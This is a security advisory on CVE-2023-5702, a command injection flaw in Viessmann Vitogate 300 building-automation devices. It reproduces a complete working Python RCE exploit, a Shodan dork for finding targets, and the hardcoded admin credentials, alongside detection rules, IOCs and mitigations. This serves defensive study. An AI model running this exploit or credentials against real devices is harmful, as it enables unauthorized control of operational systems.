CVE-2023-5702

Executive Summary

CVE-2023-5702 is a critical vulnerability affecting Viessmann Vitogate 300 devices up to version 2.1.3.0. The vulnerability allows for Remote Code Execution (RCE) via command injection in the /cgi-bin/vitogate.cgi endpoint. The vendor has not responded to disclosure attempts, and no official patch is available. The exploit has been publicly released, increasing the risk of widespread exploitation. The CVSS score is 4.3 (Medium), but the actual impact is higher due to the RCE capability and the presence of hardcoded credentials.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects an embedded device (Viessmann Vitogate 300) and its firmware. The risk is primarily to operational technology (OT) environments where these devices are deployed for building automation.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: High (due to public exploit, no patch, and hardcoded credentials)

Deep Dive & Mechanics

The vulnerability is a command injection flaw in the /cgi-bin/vitogate.cgi endpoint. The device accepts a JSON payload with a params object containing an ipaddr field. The application does not properly sanitize user input, allowing an attacker to inject arbitrary operating system commands by appending them after a semicolon (;) in the ipaddr parameter.

The exploit leverages the put method and a specific form (form-4-7). The injected command is executed with the privileges of the web server, which typically runs as root on embedded devices. This allows an attacker to execute arbitrary commands, potentially leading to full device compromise.

Additionally, the device has hardcoded administrative credentials (vitomaster:viessmann1917 and vitogate:viessmann), which can be used for initial access or privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely processes the ipaddr parameter without sanitization, passing it directly to a system call or shell command.

# Vulnerable Python-like pseudocode
import subprocess
import json

def handle_request(data):
    ipaddr = data['params']['ipaddr']
    # No sanitization - command injection possible
    command = f"ping -c 1 {ipaddr}"
    subprocess.call(command, shell=True)

Patched Code (Conceptual): A patched version would sanitize the input, validate it against a whitelist, or use a safe API that does not invoke a shell.

# Patched Python-like pseudocode
import subprocess
import json
import re

def handle_request(data):
    ipaddr = data['params']['ipaddr']
    # Validate IP address format
    if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ipaddr):
        return "Invalid IP address"
    # Use a safe API without shell=True
    subprocess.call(["ping", "-c", "1", ipaddr])

Exploitation & Lab Setup

Red Team

The following exploit code (from Exploit-DB) demonstrates how to achieve RCE.

# Exploit Title: Viessmann Vitogate 300 <= 2.1.3.0 - Remote Code Execution (RCE)
# Shodan Dork: http.title:'Vitogate 300'
# Exploit Author: ByteHunter
# Email: 0xByteHunter@proton.me
# Version: versions up to 2.1.3.0
# Tested on: 2.1.1.0
# CVE : CVE-2023-5702 & CVE-2023-5222

import argparse
import requests

def banner():
    banner = """
    ╔═══════════════════════════════════╗
             CVE-2023-5702
           Vitogate 300 RCE
           Author: ByteHunter
    ╚═══════════════════════════════════╝
    """

    print(banner)

def send_post_request(target_ip, command, target_port):
    payload = {
        "method": "put",
        "form": "form-4-7",
        "session": "",
        "params": {
            "ipaddr": f"1;{command}"
        }
    }

    headers = {
        "Host": target_ip,
        "Content-Length": str(len(str(payload))),
        "Content-Type": "application/json"
    }

    url = f"http://{target_ip}:{target_port}/cgi-bin/vitogate.cgi"

    response = requests.post(url, json=payload, headers=headers)

    if response.status_code == 200:
        print("Result:")
        print(response.text)
    else:
        print(f"Request failed! status code: {response.status_code}")

def main():
    parser = argparse.ArgumentParser(description="Vitogate 300 RCE & Hardcoded Credentials")
    parser.add_argument("--target", required=False, help="Target IP address")
    parser.add_argument("--port", required=False, help="Target port",default="80")
    parser.add_argument("--command", required=False, help="Command")
    parser.add_argument("--creds", action="store_true", help="Show hardcoded credentials")

    args = parser.parse_args()

    if args.creds:
        print("Vitogate 300 hardcoded administrative accounts credentials")
        print("Username: vitomaster, Password: viessmann1917")
        print("Username: vitogate, Password: viessmann")
    else:
        target_ip = args.target
        target_port = args.port
        command = args.command

        if not (target_ip and command):
            print("Both --target and --command options are required.\nor use --creds option to see hardcoded Credentials.")
            return

        send_post_request(target_ip, command,target_port)

if __name__ == "__main__":
    banner()
    main()

Usage:

1. Identify a target using the Shodan dork: http.title:'Vitogate 300'
2. Run the exploit:

   python3 exploit.py --target <TARGET_IP> --port 80 --command "id"
   

3. To view hardcoded credentials:

   python3 exploit.py --creds
   

Lab Setup:

• Use a virtualized environment with a Viessmann Vitogate 300 firmware image (if available) or a vulnerable device in an isolated network.
• Ensure the device is accessible via HTTP on port 80.

Blue Team

Detection:

• Monitor for POST requests to /cgi-bin/vitogate.cgi with JSON payloads containing semicolons or shell metacharacters.
• Alert on successful exploitation attempts (HTTP 200 responses with command output).

Hunting:

• Search for unauthorized processes or network connections originating from the device.
• Check for modifications to system files or configuration.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /cgi-bin/vitogate.cgi with Content-Type: application/json
  • Payloads containing "ipaddr": "1;"
  • Outbound connections from the device to unknown IPs (e.g., for reverse shells)

• Host:

  • Unexpected processes running on the device (e.g., bash, nc, python)
  • New user accounts or modified credentials
  • Unauthorized SSH or Telnet sessions

• File:

  • Modified /etc/passwd or /etc/shadow
  • Presence of web shells or scripts in /cgi-bin/

Detection Engineering

YARA Rule

rule CVE_2023_5702_Viessmann_Vitogate_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2023-5702"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-5702"
    strings:
        $json_payload = /"ipaddr"\s*:\s*"[^"]*;/ nocase
        $cgi_path = "/cgi-bin/vitogate.cgi"
        $method_put = "\"method\":\"put\""
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-5702 Viessmann Vitogate 300 RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to vitogate.cgi with command injection payloads
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5702
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/vitogate.cgi'
        cs-content-type: 'application/json'
        cs-uri-query|contains: 'ipaddr'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-5702 Viessmann Vitogate 300 RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/vitogate.cgi"; http_uri;
    content:"application/json"; http_content_type;
    content:"ipaddr"; http_client_body;
    pcre:"/\"ipaddr\"\s*:\s*\"[^\"]*;/Pi";
    reference:cve,2023-5702;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Vitogate 300 devices on a separate VLAN with strict firewall rules.
2. Disable unnecessary services: If possible, disable the web interface or restrict access to trusted IPs only.
3. Change default credentials: Use strong, unique passwords for all accounts.

Long-term Fix:

• Vendor Patch: Contact Viessmann for an official patch. Since the vendor has not responded, consider replacing the device with a supported alternative.
• Firmware Update: Monitor for any firmware updates that address this vulnerability.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block command injection attempts.
• Implement network segmentation to limit the blast radius.
• Enable logging and monitoring for suspicious activity.

Valters IT
Securing Your Digital Frontier

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